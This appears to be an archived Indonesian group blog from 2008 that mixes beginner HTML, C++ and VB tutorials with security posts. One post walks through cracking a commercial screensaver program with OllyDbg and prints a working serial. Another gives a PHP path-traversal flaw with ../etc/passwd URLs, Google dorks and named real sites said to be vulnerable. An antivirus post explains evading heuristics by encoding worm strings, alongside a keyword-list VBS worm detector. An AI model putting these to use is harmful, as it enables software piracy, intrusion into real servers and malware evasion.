Kamis, 14 Februari 2008

Link HTML


Kelebihan utama dari dokumen berbasis web yang sedang kita pelajari adalah kemampuannya untuk memberikan link dari suatu text atau gambar menuju ke dokumen lain atau kebagian lain dalam suatu dokumen. Browser web akan menyorot (Highlight) teks atau gambar yang diidentifikasi sebagai link dengan warna atau dengan garis bawah atau mungkin menggunkan kedua-duanya untuk menunjukkan bahwa itu adalah hyperteks link.Dokumen yang berbasis web yang sedang kita pelajari menggunakan hyperlink untuk menghubungkan kepada dokumen lain dalam web.

Contoh dibawah ini akan mendemonstrasikan bagaimana untuk menambahkan link ke dalam suatu dokumen berbasis web yang sedang kita pelajari.





maka hasilnya adalah 0 link 1 dan 0 link ke 2

Serial Phising Screensaver Designer V1.0


Serial Phising Screensaver Designer V1.0
Oleh X-Bite
Mungkin sebagian dari kita sudah tahu, apa itu serial phising... namun bagi yang belum mengetahuinya.. serial phising adalah teknik mencari serial valid didalam badan program asli.Hmm.. penjelasannya begini.. saat kita memasukan serial number, biasanya program akan membandingkan serial yang kita masukan dengan serial valid program, dimana serial valid program biasanya didapat dari input user yang kita berikan.. namun pada beberapa kasus ada serial yang "hardcoded" alias serial satu untuk semua.. jadi kita akan mencari saat dimana serial yang kita inputkan dibandingkan dengan serial asli dari program untuk mengetahui serial yang valid.. OK, cukup pembukaannya..

Tentang Target :
Create Professional Screen Savers in Minutes -
Screensaver Designer is a powerful tool to create, compile and distribute screen savers for Windows. It has a fully integrated workspace that permits you to work efficiently and create professional screen savers in minutes.
Program ini juga dapat membuat screensaver dengan format BMP (Bitmap), JPG (JPEG), SWF (Shockwave Flash), MP3 (MPEG Layer 3), MIDI/RMI (MIDI Music), WAV (Windows WAVE), WMA (Windows Media Audio), ASF (Netshow movie), AVI (Windows video), MPG (MPEG I video), WMV(Windows Media Player Video).


Proteksi:
1. Serial Number
2. Muncul evaluation pada screensaver yang kita buat

Tools:
1. PEID 0.94 ; download di www.peid.has.id kalau anda blm punya
2. Ollydbg v.1.10

Evaluasi Program:
Pertama-tama saya telah mengevaluasi software ini, dimana program ini dipack dengan menggunakan "ASPack 2.12 -> Alexey Solodovnikov" dan PEiD tidak menemukan enkripsi yang sesuai dengan databasenya. Program ini tidak memiliki batas waktu trial, namun saat kita membuat screensaver dengan trial program, akan muncul kotak pemberitahuan pada screensaver bahwa screensaver itu dibuat dengan menggunakan screensaver designer trial version....
Program ini tidak saya unpack, karena meskipun dipack, packer akan meng-unpack program didalam memori agar dapat berjalan... jadi kita akan mencari serial yang valid didalam memori....
Serial Phising:
Buka program screensaver designer pada olly kita kemudian run.. Klik tanda tanya pada program (lambang help) dan klik register isi dengan user X-Bite dan Serial 1111111111111111111111 setelah menekan register, akan muncul peringatan untuk merestart program.... namun jangan pencet OK dulu...

Kali ini saya akan mengenalkan teknik mencari rutin serial dengan menggunakan callstack, teknik ini digunakan lena151(thanks for your nice tuts) pada beberapa tutorial yang dibuatnya.. sebelum memencet OK, kembali ke olly kita, pencet pause (F12) kemudian View>>Call Stack (Alt+K)... anda akan melihat tumpukan call yang dibuat oleh program screensaver designer

Dapat kita lihat disana kalau messagebox diatas dipanggil dari alamat 00570642, klik 2x pada alamat itu....
00570605 E8 4A8AE9FF CALL 00409054
0057060A 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4]
0057060D B8 A0065700 MOV EAX,005706A0 ; ASCII "UserName" ; !!!!
00570612 E8 DD6FFFFF CALL 005675F4
00570617 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8]
0057061A B8 B4065700 MOV EAX,005706B4 ; ASCII "SerialNo" ;!!!!
0057061F E8 D06FFFFF CALL 005675F4
00570624 C783 4C020000 0100000>MOV DWORD PTR DS:[EBX+24C],1
0057062E 6A 40 PUSH 40
00570630 68 C0065700 PUSH 005706C0 ; ASCII "Information"
00570635 68 CC065700 PUSH 005706CC ; ASCII "Please restart Screensaver Designer! "
0057063A 8BC3 MOV EAX,EBX
0057063C E8 7793F1FF CALL 004899B8
00570641 50 PUSH EAX
00570642 E8 1172E9FF CALL 00407858 ; JMP to user32.MessageBoxA ; Kita disini
00570647 A1 FC135800 MOV EAX,DWORD PTR DS:[5813FC]
0057064C 8B00 MOV EAX,DWORD PTR DS:[EAX]
0057064E E8 35BCF0FF CALL 0047C288

Pada tahap ini saya juga telah mengecek kalau software ini menulis data registrasi kita kedalam file option.ini di folder instalasinya,setelah melihat apa yang perlu kita cari, klik kanan>>search for>>all referenced text string... scroll keatas, klik kanan search for text "SerialNo" tanpa tanda kutip .. kita akan menemukan seperti ini pada search next yang kedua, karena yang pertama ditemukan adalah kode diatas, hehe....
00574FE5 B8 E8515700 MOV EAX,005751E8 ; ASCII "UserName"
00574FF2 B8 FC515700 MOV EAX,005751FC ; ASCII "SerialNo"
00574FFF BA 10525700 MOV EDX,00575210 ; ASCII "JHGUy5765jHGJHG***" ; <= hmmm..

Pasang hardware breakpoint di alamat 00574FE5 dengan cara klik kanan>>breakpoint>>hardware on execution...karena jika kita menggunakan software breakpoint(F2) olly akan crash saat di restart(ctrl+F2) (info: pada program yang dipack, kita tidak dapat menggunakan software breakpoint).. restart olly (ctrl+F2) kemudian program akan break dialamat 00574FE5... dari sini kita akan men trace program ini
00574FE5 B8 E8515700 MOV EAX,005751E8 ; ASCII "UserName"
00574FEA E8 4525FFFF CALL 00567534 ;membaca username
00574FEF 8D55 F8 LEA EDX,DWORD PTR SS:[EBP-8]
00574FF2 B8 FC515700 MOV EAX,005751FC ; ASCII "SerialNo"
00574FF7 E8 3825FFFF CALL 00567534 ;membaca serial number
00574FFC 8D4D F4 LEA ECX,DWORD PTR SS:[EBP-C]
00574FFF BA 10525700 MOV EDX,00575210 ; ASCII "JHGUy5765jHGJHG***" ;konstanta untuk men-generate serial
00575004 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] ;username
00575007 E8 B834FFFF CALL 005684C4
0057500C 8D55 E0 LEA EDX,DWORD PTR SS:[EBP-20]
0057500F 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C] ;proses generate serial
005750A6 BA 05000000 MOV EDX,5 ; saya kembali memotong sedikit demi memperpendek tutor
005750AB E8 D4FAE8FF CALL 00404B84
005750B0 8D55 CC LEA EDX,DWORD PTR SS:[EBP-34]
005750B3 8B45 F4 MOV EAX,DWORD PTR SS:[EBP-C] ;serial yang valid dalam huruf kecil
005750B6 E8 493DE9FF CALL 00408E04 ;membuat jadi huruf besar serial yang valid
005750BB 8B45 CC MOV EAX,DWORD PTR SS:[EBP-34] ;serial yang kita cari
005750BE 8B55 F8 MOV EDX,DWORD PTR SS:[EBP-8] ; serial yang kita masukan
005750C1 E8 4AFBE8FF CALL 00404C10 ; call yang membandingkan kedua serial
005750C6 75 1A JNZ SHORT 005750E2 ;lompat jika tidak valid, bye2 cracker jelek
005750C8 33D2 XOR EDX,EDX
005750CA 8B83 8C030000 MOV EAX,DWORD PTR DS:[EBX+38C]
005750D0 E8 53D3F1FF CALL 00492428
005750D5 33D2 XOR EDX,EDX
005750D7 8B83 54060000 MOV EAX,DWORD PTR DS:[EBX+654]
005750DD E8 9ADEF0FF CALL 00482F7C
005750E2 33D2 XOR EDX,EDX
Semua yang saya beri komen dapat dilihat isinya pada 'taskpane' pada olly diatas dump window, disitu dapat dilihat kalau program mengenerate 3 angka dalam hexa yang panjang dan mengambil 4 karakter dari 3 angka acak tersebut dan kemudian digabung sehingga menjadi satu pada alamat 005750B3 dan dirubah menjadi huruf besar dan dapat dilihat pada alamat 005750BB....5E90-1394-05E7 (serial untuk user name X-Bite).
Tutup olly kita, dan jalankan program screensaver designer kemudian register kembali dengan menggunakan salah satu serial yang kita dapatkan... program akan kembali meminta restart program, klik saja OK.. kemudian buka kembali program screensaver designer.. kita akan melihat kalau program telah menjadi Registered Version.....LOL


Rabu, 13 Februari 2008

Fungsi Manipulator


Manipulator pada umumnya digunakan untuk mengatur tampilan layar.Ada beberapa fungsi manipulator diantaranya endln,ends,dec,oct dan hex , setprecicion,setbase,setw,setfill,setiosflsgs untuk memudahkan proses belajar kita, maka akan diberikan teori dahulu, mari kita mulai dari endl adalah suatu fungsi yang digunakan untuk menyisipkan karakter atau mengatur pindah baris.Buatlah contoh dibawah ini

kalau tidak ada salah ketik codingnya maka hasilnya akan seperti dibawah ini
Masukan Nilai A :7.5
Masukan Nilai B :8.4
Masukan Nilai c :15.9
Karena bahan ini berat maka kita akan bahas satu demi,satu jadi dapat dikatakan bahwa endl adalah suatu perintah yang berfungsi untuk memindahkan baris

Senin, 11 Februari 2008

Entitas Karakter HTML


Beberapa Karakter mempunyai arti khusus, seperti tanda lebih kecil dan tanda lebih besar, jika kita menginginkan browser untuk menampilkan karakter-karakter tesebut kita harus menyisipkan entitas karakter.Daripada kalian pada bingung cobalah ketik coding seperti dibawah ini

Bagaimana makin jelas tidak, cobalah contoh dibawah ini lagi semoga saja anda semakin jauh mengerti

well itulah untuk hari ini

Kamis, 31 Januari 2008

Random Number Generator

Oleh Dendi Suhubdy A.K.A Cron of NuLL

Random number generator atau pembangkit bilangan acak, kerap kali diimplementasikan di dalam berbagai algoritma kriptografi. Contohnya saja pada algoritma kriptografi Deffie-Helman yang memerlukan bilangan prima sebagai input. Nah, cara yang paling efektif untuk mendapatkan suatu bilangan prima acak adalah dengan cara melakukan pembangkitan bilangan acak kemudian mengetes apakah bilangan yang dibangkitkan itu berupa bilangan acak atau tidak.

Sekarang pertanyaannya adalah……apa algoritma untuk melakukan pembangkitan bilangan acak tersebut? Yupzzz, Anda dapat menggunakan rand atau Math.Random pada C plus-plus atau System.Random pada C sharp atau java.util.Random pada Java. Namun, jika Anda memeriksa algoritma yang digunakan oleh fungsi-fungsi tersebut, Anda akan menemukan bahwa itu adalah RNG yang lambat…..masih ada cara untuk mempercepatnya beberapa CPU clock cylces…lagipula baru-baru ini ditemukan security flaw pada fungsi rand sehingga bilangan acak ini dapat dibangkitkan kembali dan ini merupakan ancaman yang serius untuk dunia kriptografi.
Kalau Anda adalah orang yang haus akan ilmu hacking dan matematika diskrit…….inilah jawabannya……..

Algortima pertama adalah R250/5231 yang diciptakan oleh Kirkpatrick dan Stoll yang dipublikasikan di A Very Fast Shift-Register Sequence Random Number Generator, J. Computational Physics, vol 40, pp. 517-526.
Algoritma yang kedua adalah Mersenne Twister yang diciptakan pada tahun 1996 oleh Matsumora dan Nishimura.

Source codenya dapat di compile dengan gcc v3.3…….atau kalau Anda benar-benar kreatif, ubahlah source code ini sesuai dengan keinginan Anda……tetapi jangan lupa pada kontribusi orang-orang yang menciptakan algoritma ini. Upzzzzzzzz, gw lupa kalau source code java dan C sharpenya juga ada. Berikut linknya dari semua source codenya.

www.4shared.com/file/32947855/4bc0a7c/RNG_520_dan_MT.html

Rabu, 30 Januari 2008

Lanjutan C++

Oleh Vbbego


Dalam C anda sudah dikenalkan mengenai tipe data yang ditulis tahun lalu oleh teman saya, hari ini kita akan mempelajari perintah keluaran.Apa yang dimaksud dengan perintah keluaran ? Intinya adalah suatu perintah yang digunakan untuk mengeluarkan hasil yang ditampung oleh konstanta.Lalu apa yang dimaksud dengan konstanta ? Konstanta adalah suatu nilai yang sifatnya tetap, secara garis besar konstanta dapat dibagi menjadi dua bagian yaitu :
1. Konstanta Bilangan
2. Konstanta teks
Sedangkan untuk perintah keluaran yang disediakan c adalah printf,puts,putchar dan count.Daripada makin bingung dan malah entar tidak mengerti cobalah penggalan program dibawah ini.

coding diatas adalah masukan angka 7 ke a, masukan char G ke B, selanjutnya cetak char dan desimal dan keluarkan isi dari b dan isi dari a sehingga hasil akhirnya menjadi seperti ini:
G merupakan abjad yang ke 7
Sekarang bagaimana jika kita ingin menggunkan penentu lebar field ? Bila kita ingin mencetak atau menampilkan data yang bertipe float, tampilan yang nampak biasanya kurang bagus , oleh karena itu c memberikan anda untuk dapat mengatur lebar field dan jumlah desimal yang akan Anda cetak.
Bingung yah coba perhatikan program dibawah ini
ini adalah program yang tidak menggunakan penentu lebar field



bandingkan dengan program dibawah ini yang mengunakan penentu lebar field

program pertama tidak membatasi berapa angka belakang koma, program kedua membatasi sampai satu angka belakang koma, penambahan \n artinya menambahkan newline(Baris Baru).Sekarang kita membahas puts yang sebenarnya sama dengan print biar mudahnya perhatikanlah program dibawah ini

Put adalah perintah yang menampilkan karakter tanpa diakhiri baris

akhirnya sampai juga ke count kayanya sudah jelas deh buat menghitung lalu bagaimana menulisnya di c, perhatikan program dibawah ini:

o ya endl berguna seperti \n



Selasa, 29 Januari 2008

Lanjutan


oleh ani
Address(Alamat)merupakan salah satu elemen yang umum di dalam suatu dokumen, dalam html disediakan secara khusus yang biasa disebut Tag Address, dengan adanya tag ini maka penulisan alamat dapat distandarkan.contoh ini mendemonstasikan bagaimana menulis alamat dalam suatu dokumen


maka hasilnya akan seperti ini

Cukup dulu hari ini mau ujian dulu yah

Senin, 28 Januari 2008

Bug Excel 2007


Bug Excel 2007
Oleh Vbbego
Disadur dari Hack Rapidshare & Attack Friendster

Banyak orang akan berpikir bahwa suatu produk yang baru pasti lebih baik daripada sebelumnya.Hal itu tentunya tidak berlaku bagi Excel 2007.Banyak situs yang sudah memuat kelemahan excel 2007 ini.Pada kesempatan kali ini saya hanya menyoroti salah satu fungsi perkalian saja.Bagi anda yang mengunakan office 2007, anda dapat mencobanya. Coba anda buka excel 2007, kemudian kalikan 850 x 77,1 = 100000, jika kita hitung dalam kalkulator semestinya 65.535.Untuk menguji kebenarannya silakan anda menggunakan kalkulator yang ada dikomputer maupun kalkulator biasa.Bug lain yang saya ingin sampaikan pada kesempatan ini perkalian 11 x 11 yang bertambah satu, untuk lebih mudahnya lihat contoh dibawah ini:
1. 11 x 11 = 121
2. 111 x 111 = 12321
3. 1111 x 1111 = 1234321
4. 11111 x 11111 = 123454321
5. 111111 x 111111 = 12345654321
6. 1111111 x 1111111 = 1234567654321
7. 11111111 x 11111111 = 123456787654321
8. 111111111 x 111111111 = 12345678987654300
9. 1111111111 x 1111111111 = 1234567900987650000

Kalau kita lihat conyoh diatas bug lainnya yang terdapat pada excel 2007 adalah pada bagian nomor 8, dimana perkalian 111111111 x 111111111 jawaban yang benar seharusnya adalah 12345678987654321 tetapi excel salah dalam menjawabnya dan masalah seperti ini berulang lagi pada perkalian berikutnya.

Rabu, 23 Januari 2008

Apa dan Bagaimana : Teknik Heuristik Pada Antivirus


Apa dan Bagaimana : Teknik Heuristik Pada Antivirus
Oleh Fajar
Teknik heuristik merupakan teknik yang dipakai antivirus untuk mendeteksi keberadaan virus2 baru atau yang belum terdapat di signature antivirus tersebut. Bagaimana caranya? Tentunya setiap antivirus memiliki cara sendiri2. Kita ambil contoh antivirus (yang lokal2 aja ya..) Ansav +E Advanced 1.7.8 (ga tau klo ada versi barunya) , av ini mengusung "Advanced Ansav Heuristic Engine". Pada AAHE ini, Ansav akan mendeteksi suatu file sebagai ancaman dengan dengan membandingkan suatu signature dengan entrypoint/PE Header pada body file. Yah kurang lebih begitu. Sedangkan pada PCMAV rc23, heuristik andalannya yaitu dengan mengecek jika suatu file mempunyai signature suatu icon tertentu. Maksudnya jika kita membuat program yang mengandung icon folder (baik sebagai icon file atau resource) maka PCMAV akan menganggap file tersebut sebagai ancaman.

Namun teknik-teknik heuristik tersebut dapat dilewati/ heuristic bypassing dengan mudah, misalnya pada Ansav, kita dapat memakai program packer2 yang tidak terdapat di "database" heuristiknya Ansav. Sedangkan pada PCMAV, ya.. paling gampang tinggal ga pake icon2 yang dianggap ancaman (icon folder, word dsb) atau mengubah struktur body icon memakai program hex editor (namun hati2 biar icon ga berubah gambar)

Pada kesempatan ini saya akan membahas teknik heuristik untuk mendeteksi worm VBS. Ini karena penasaran sama PCMAV yang selau aja jitu menebak VBS worm. Ceritanya ketika teman saya minta bersihiin virus, truz ternyata terdeteksi sebagai worm oleh antivirus luar di pc saya, iseng pengen nyoba kehebatan antivirus saya tersebut, saya mencoba mengenkripsi worm tersebut, dimana tulisan "Scripting.FileSystemObject" saya enkripsi menjadi Chr(83) + Chr(99) + Chr(114) + Chr(105) + Chr(112) + Chr(116) + Chr(105) + Chr(110) + Chr(103) + Chr(46) + Chr(70) + Chr(105) + Chr(108) + Chr(101) + Chr(83) + Chr(121) + Chr(115) + Chr(116) + Chr(101) + Chr(109) + Chr(79) + Chr(98) + Chr(106) + Chr(101) + Chr(99) + Chr(116)

Tadaaa... ternyata antivirus saya tidak mampu mendeteksinya... Kemudian teringat PCMAV (soalnya pernah baca diweb resminya klo PCMAV punya heuristik canggih buat mendeteksi file VBS). Pas discan pake PCMAV ternyata terdeteksi. Ya udah saya enkripsi semua string. Ehhh ternyata masih terdeteksi... hebat2... ini antivirus punya paranoid heuristik Setelah saya teliti2 hampir seribu detik, ternyata heuristiknya PCMAV yaitu dengan mendeteksi beberapa tulisan yang tidak mungkin tidak dipakai oleh suatu worm, yaitu salah satunya kombinasi command "CreateObject" dan "wscript.scriptfullname". Tulisan ini gimana ya enkripsinya?? soalnya tipe tulisan ini bukanlah string, melainkan command internal pada VBS. Klo di Delphi command2 mungkin bisa dienkripsi,itu mungkin juga cuma command2 yang memakai API misalnya "UrlDownloadToFile" dimana memanggil dari file urlmon.dll. Yah main2in memory (GetProcAddress).

Tapi, saya ga akan membahas bagaimana caranya heuristic bypassing, malez bo klo banyak virus canggih, ntar klo ada cewek minta tolong saya bersiin pcnya dan saya ga bisa kan.. giiitu dech... Ok.. lanjut, kita kita akan bikin program dasar untuk mendeteksi worm VBS.

Yang kita perlukan adalah VB6 dan :
Komponen dan nama

TextBox : Text1

CommandButton : Command1
CommandButton : Command2
CommonDialog : CommonDialog1

Pada Command1 isikan :

CommonDialog1.Filter = "VBS File (*.vbs)|*.VBS"
CommonDialog1.ShowOpen
If CommonDialog1.FileName = "" Then Exit Sub
Text1.Text = CommonDialog1.FileName

Pada Command 2 isikan :

Vbs_Checker Text1.Text

Kemudian buat fungsi sebagai berikut :


Public Function Vbs_Checker(ByVal target As String)

If target = "" Then Exit Function
If Dir$(target) = "" Then Exit Function

On Error Resume Next

Open target For Input As #1
While EOF(1) = False
DoEvents

Line Input #1, maltext
maltext = " " & maltext
maltext = LCase(maltext)

If InStr(maltext, "createobject") > 0 Then GoSub warning
If InStr(maltext, "regwrite") > 0 Then GoSub warning
If InStr(maltext, "wscript.scriptfullname") > 0 Then GoSub warning
If InStr(maltext, "ActiveDocument.Shapes.AddOLEObject") > 0 Then GoSub warning

Wend

Exit Function

warning:
MsgBox "Suspected command : " & maltext, vbExclamation, "Warning"
Return
End Function


Seharusnya kode2 di atas self explained, tapi saya jelasin lagi deh buat pemula kaya saya. Inti dari program tersebut yaitu membaca file VBS yang kita pilih dan membandingkan isi file VBS dengan tulisan tertentu, misalnya "createobject". Jika ketemu tulisan tersebut maka keluar peringatan.

Sekali-lagi, kode2 di atas hanyalah konsep untuk mendeteksi worm VBS. Mungkin lebih baik dengan membandingkan lebih dari satu kata untuk mencegah indikasi false alarm.

Demikianlah (kaya nutup pidato aja), mudah2an ada manfaatnya buat yang baca.
Trims.


Fajar :: anggiawan.web.id
Love to :
- teman2 ku di eks unpad dan marnat
- para av maker lokal

Hate to :
- pengimpor kondom impor bekas
- penjual kondom impor bekas
- pemakai kondom impor bekas
- pkoknya yang nyalahgunain kondom bekas.

Selasa, 22 Januari 2008

Computer Out Put


Oleh Ani

Seperti judul diatas kita kan membahas computer output contoh ini mendemostrasikan bagaimana tag "computer output" akan ditampilkan


Setelah anda mengerti compuet output saya akan membahas Alamat.Alamat merupakan salah satu elemen yang umum didalam suatu dokumen.Dengan adanya tag ini maka penulisan alamat dapat distandarkan.Contoh ini mendemonstasikan bagaimana menulis sebuah alamat dalam sebuah dokumen HTML


hari ini kita sampai disini dahulu, semoga berguna,Bagi yang sedang mengalami nasib yang sama dengan saya ( Lagi UAS ), moga-moga anda dapat mendapat nilai yang terbaik dan ketahuilah bahwa contek itu korupsi yang paling mudah untuk dilakukan tapi susah untuk tidak dilakukan jadi jangan lakukan yah

Senin, 21 Januari 2008

PHP download script vulnerability


PHP download script vulnerability
Oleh tomplixsee

Sebenarnya saya bingung mau memberi judul apa pada artikel ini. Maaf bila judulnya agak kurang pas dengan isi artikelnya
PHP adalah suatu bahasa pemrograman web yang cukup sakti yang kehandalannya tidak diragukan lagi. Tapi,adanya kesalahan dalam logika pemrograman php akan bisa berakibat fatal.
Salah satu contohnya adalah :
//download.php
header( "Content-Type: application/octet-stream" );
header( "Content-Length: " . filesize($_GET['file'] ) );
header( "Content-Disposition: inline; filename=\"$_GET[file]\"");
readfile($_GET['file'] );
?>
Kode php diatas memiliki kelemahan yang fatal, dimana variabel “file” sama sekali tidak difilter, sehingga hacker akan bisa mendownload file apapun yang ada di server tersebut. Misalkan saja sang hacker mengakses alamat http://korban/download.php?file=../../../../../../etc/passwd maka file /etc/passwd milik server akan dikirimkan ke hacker.
Atau jika hacker mengakses alamat http://korban/download.php?file=download.php maka hacker akan mendapatkan source code dari file download.php.
Sedangkan untuk mencari korban bisa kita gunakan google, misalkan dengan syntax inurl:”download.php?file=” , atau inurl:”download.php?file=*.pdf” -intext:”download.php?file=*.pdf” atau yang lainnya.
Beberapa contoh situs yang vulnerable adalah:
http://www.mpbp.gov.my/download.php?file=download.php
http://elearning.mmu.edu.my/download.php?file=download.php
http://www.utem.edu.my/fkp/latihanIndustri/download.php?file=../../../../../../etc/passwd
http://www.moe.gov.my/pipp/download.php?filename=/../../../../../../etc/passwd
Adapun sedikit hal untuk pencegahan adalah:
1. lakukan pemfilteran terhadap inputan yang diterima dari user.
Misalkan pemfilteran terhadap karakter “../”, “”, atau type file yang boleh didownload.
2. lakukan pembatasan file access
3. berikan batasan, file di folder mana saja yang boleh didownload atau tidak
4. untuk menghindari googling, hindari penamaan script dengan nama “download.php” dan nama variabel dengan nama “file”.
terimakasih

By tomplixsee
Thanks to:

Ira, teman2 kosku

Minggu, 20 Januari 2008

New Vb


Hari ini kita akan membahas koneksi visual basic ke databases, kita mulai dari yang gampang terlebih dahulu dengan menggunakan data. cobalah temen-temen buat sebuah database dengan nama coba dengan menggunkan acces. Buatlah table seperti dibawah ini
field name Data type field size
Kode text 6
Nama text 50
Lalu simpanlah dengan nama coba1, setelah itu tutup accesnya lalu buka vb dan buat seperti dibawah ini:

hari ini kita tidak belajar coding, tetapi minggu depa sudah pasti kita belajar coding , cobalah kalian ikuti langka dibawah ini:
1.Pada Propertis data kalian klik cari connect pilih acces lalu pada database name masukan databases yang tadi kalian buat
2.Kemudian carilah recordsource lalu diganti dengan nama table yang kalian buat
3.setinglah dua textbox diform dengan merubah setingan yang sama dengan diatas maka anda sudah dapat membuat data yang di text box masuk kedalam database

Rabu, 16 Januari 2008

Pengalaman Pribadi


Oleh Jack
Senin lalu, jack datang kesebuah kampus yang berada dijalan salemba dengan maksud ingin melihat dan mendafarkan adiknya yang ingin kuliah. Sampai di sebuah sekolah tinggi *********, Ia minta izin untuk melihat fasilitas yang ada, yang menjadi sasaran yah lab komputernya.Ternyata kampus itu memiliki 3 lab, Jack merasa ada sesuatu yang aneh dengan kampus ini, karena disalah satu labnya masih mengunakan Windows NT dengan spek komputer yang rata-rata pentium 2, beralih ke lab yang kedua disini sudah mengunkan LCD dengan spek komputer setara pentium 3 (Sebenarnya Menggunakan Prosesor AMD ). Setelah mencoba beberapa aplikasi. Jack merasa komputer ini super lambat oleh karena itu jack mengunkan sebuah software yang dapat mempercepat kinerja prosesor komputer tersebut. Nama program yah adalah SW-Speedgear versi 5.0.0.Dengan sofware ini komputer yang lambat menjadi lebih cepat membuat Jack dengan leluasa menjelajai komputer yang sedang dipakai. Cara pemakaian software ini sangat mudah tinggal install lalu tinggal pilih ingin berapa cepat prosesor kita bekerja lalu tekan apply lalu minimize saja. Setelah puas Jack mematikan SW-Speedgear yah dengan mengklik tombol silang.Satu lagi kelemahan kampus itu adalah banyaknya virus dalam lab komputer yah sangat disayangkan yah.Kampus seharusnya menjadi tempat belajar yang aman dan nyaman, bukan sebaliknya menjadi tempat yang tidak nyaman dan tidak aman, anehnya waktu matakuliah selesai masih banyak saja mahasiswa yang mengambil file yang mereka kerjakan dengan flash disk yah.Jack lebih terpukul ketika dia mengetahui bahwa semua komputer disini dipelihara dengan cara format ulang kalau bermasalah tinggal format ulang.Jack sempat berbicara dengan mahasiswa yang akan praktikum tentang seseorang yang memakai inisial vbbego.Tidak ada yang tahu alhasil terakhir dilab yang konek dengan internet dia membuka blog ini dan langsung meninggalkan yah.

Selasa, 15 Januari 2008

Format Text Html



Oleh Ani

Hari ini kita akan membahas pemformatan teks yang dapat dibagi menjadi beberapa diantaranya menebalkan huruf,memiringkan huruf, memberikan tekanan pada teks, mengecilkan text,superscript, subscript sebagai contoh buatlah contoh dibawah ini

kalau sudah simpanlah file itu dengan nama coba_teksformat jangan lupa abis itu klik dua kali file yang disave. Ini merupakan text format yang dasar bagaimana jika ingin agar jarak antara kata suatu text atau kalimat didalam dokumen web adalah sebesar satu spasi.Daripada bingung mending dicoba coding dibawah ini biar menjadi ngerti.


coba lihat hasil bagaimana ngerti engga kalau engga ngerti coba baca ulang lagi tulisan saya ini

Senin, 14 Januari 2008

Teleport


Dibuat oleh vbbego

Sering kali kita ingin sekali membaca seluruh artikel dalam suatu situs internet tapi sayang yah kita harus mencari komputer yang selalu konek dengan internet. Banyak orang yang bertanya kepada saya dapatkan situs saya dapat dibaca tanpa menggunakan internet? Awalnya saya ragu apakah bisa. Sabtu kemarin saya bertanya kepada seorang dosen apakah bisa kita mambaca situs internet tanpa harus terkoneksi dengan internet.Hasilnya Dosen itu memberikan saya sebuah program kecil.Dosen itu berkata saya hanya memberikan program saja, cara pakai yah kamu cari tahu sendiri.Hal itu sering dilakukannya karena ia tidak ingin namanya tercermar apalagi ia mengajar disalah satu kampus dimana mantan dua artis cilik kuliah.Program tersebut bernama teleport.Saya mencoba menginstall yah den mencoba apakah teleport dapat manjawab kebutuhan saya.Teleport ternyata dapat menjawab kebutuhan saya.


Seperti gambar diatas kita tinggal menekan new dan masukankan nama situs yang hedak ditarik, o ya bagi yang komputernya diproteksi oleh proxy harus melakukan seting proxy server yang ada di file lalu cari proxy server, alhasil kalau semua sudah kelar hasilnya akan seperti ini.

Lalu apa hubunganya dengan topik sekuriti bayangkan jika yang ditarik adalah situs yang dipakai oleh public dan satu kata saja yang diganti maka tulisan ini sangat relevan bukan. Semoga saja tulisan ini membuka wawasan anda

VB


Dibuat oleh : Z
Kemarin kita sudah membahas if bersarang atau yang lebih populer if dalam if hari ini kita akan membahasa select case. Select case adalah salah satu bentuk pilihan yang cukup unik, daripada bingung mending buruan deh bikin form seperti dibawah ini

kalau sudah coba klik di form yah lalu isi deh coding sebagai berikut
Private Sub Form_Load()
Randomize 'Acak angka
a = Int(Rnd * 10) 'Isi a dengan angka yang telah diacak maxnya angka 10
End Sub
terus klik deh command butonnya isi dengan koding seperti dibawah ini
Private Sub Command1_Click()
Select Case a
Case 1
MsgBox "Nilai = 1"
Case 2
MsgBox "Nilai = 2"
Case 3
MsgBox "Nilai = 3"
Case 4
MsgBox "Nilai = 4"
Case 5
MsgBox "Nilai = 5"
Case 6
MsgBox "Nilai = 6"
Case 7
MsgBox "Nilai = 7"
Case 8
MsgBox "Nilai = 8"
Case 9
MsgBox "Nilai = 9"
Case 10
MsgBox "Nilai = 10"
End Select
End Sub
minggu depan kita akan melanjutkan dengan hal yang baru. O ya saya dapat masukan dari pemilik blog ini agar tidak terlalu lama mengulang logika perograman. Menurut beliau pembahasan logika membuat kita sangat lambat mencapai tujuan yaitu membuat sesuatu yang bisa dipakai didunia kerja.Maka saya putuskan tidak akan mengajarkan lagi hal-hal yang berbau dengan logika seperti if,for dan lain-lain yang berhubungan dengan logika.Maka minggu depan kita langsung meloncat kepada database sesuai dengan rekomendasi pemilik blog ini.Bagi temen-temen yang ingin melatih logika pemrogramnnya dengan vb dapat membeli buku step by step visual basic 6. Buku ini sudah diterjemahkan kedalam bahasa indonesia tanpa mengurangi isinya.Jadi Selamat Datang Dunia Database Visual Basic 6

Kamis, 10 Januari 2008

Windows Vista Ultimate Gratis dari Microsoft !


Windows Vista Ultimate Gratis dari Microsoft !
Oleh JS

Microsoft memberikan versi Windows Vista yang paling mahal secara gratis ? Apakah itu sebuah mimpi ? Tidak ! Melalui program yang dinamakan "Windows Feedback Program", Anda bisa mendapatkan Windows Vista Ultimate secara gratis dan menggunakannya secara sah.

Software gratis yang disediakan ini bukan hanya versi Vista Ultimate namun juga terdapat software yang lainnya yaitu :

Microsoft Windows Vista Ultimate (32-bit and 64-bit DVD)
Microsoft Office Ultimate 2007
Microsoft Money Plus Premium
Microsoft Student with Encarta Premium 2008
Microsoft Streets and Trips 2008

Tentu saja, ada imbalan yang diminta oleh Microsoft yaitu privacy Anda ! Microsoft akan memantau apa yang Anda kerjakan pada komputer Anda selama 3 bulan ! Sayang sekali, program ini hanya diberikan kepada penduduk US dan tidak ada program semacam ini untuk Microsoft Indonesia (atau belum?)

Anda bisa melihat informasi selengkapnya di :

http://wfp.microsoft.com/

Membuka kembali video gratis dari youtube

Membuka kembali video gratis dari youtube
Oleh starnet
Disini saya akan meneruskan file yg ada di http://www.jasakom.com/article.aspx?ID=872
yaitu mengenai download video gratis dari youtube.com saat ini sepertinya sudah di patch sama admin nya atau mungkin saya yang kurang beruntung

berikut adalah cara saya :

buka browsermu dan masuk ke youtube.com
cari video kesukaanmu :P
selanjutnya cari, view page info-nya

cara saya adalah:

klik kanan di dekat tombol play video
dan cari view page info
setelah itu cari video_id= bla...bla...bla...
tetapi kebanyakan format nya gambar (.gif ; .jpg atau ; .png)
dan disayangkan file .flv nya udah gak ada xixixixi
mari kita coba source nya
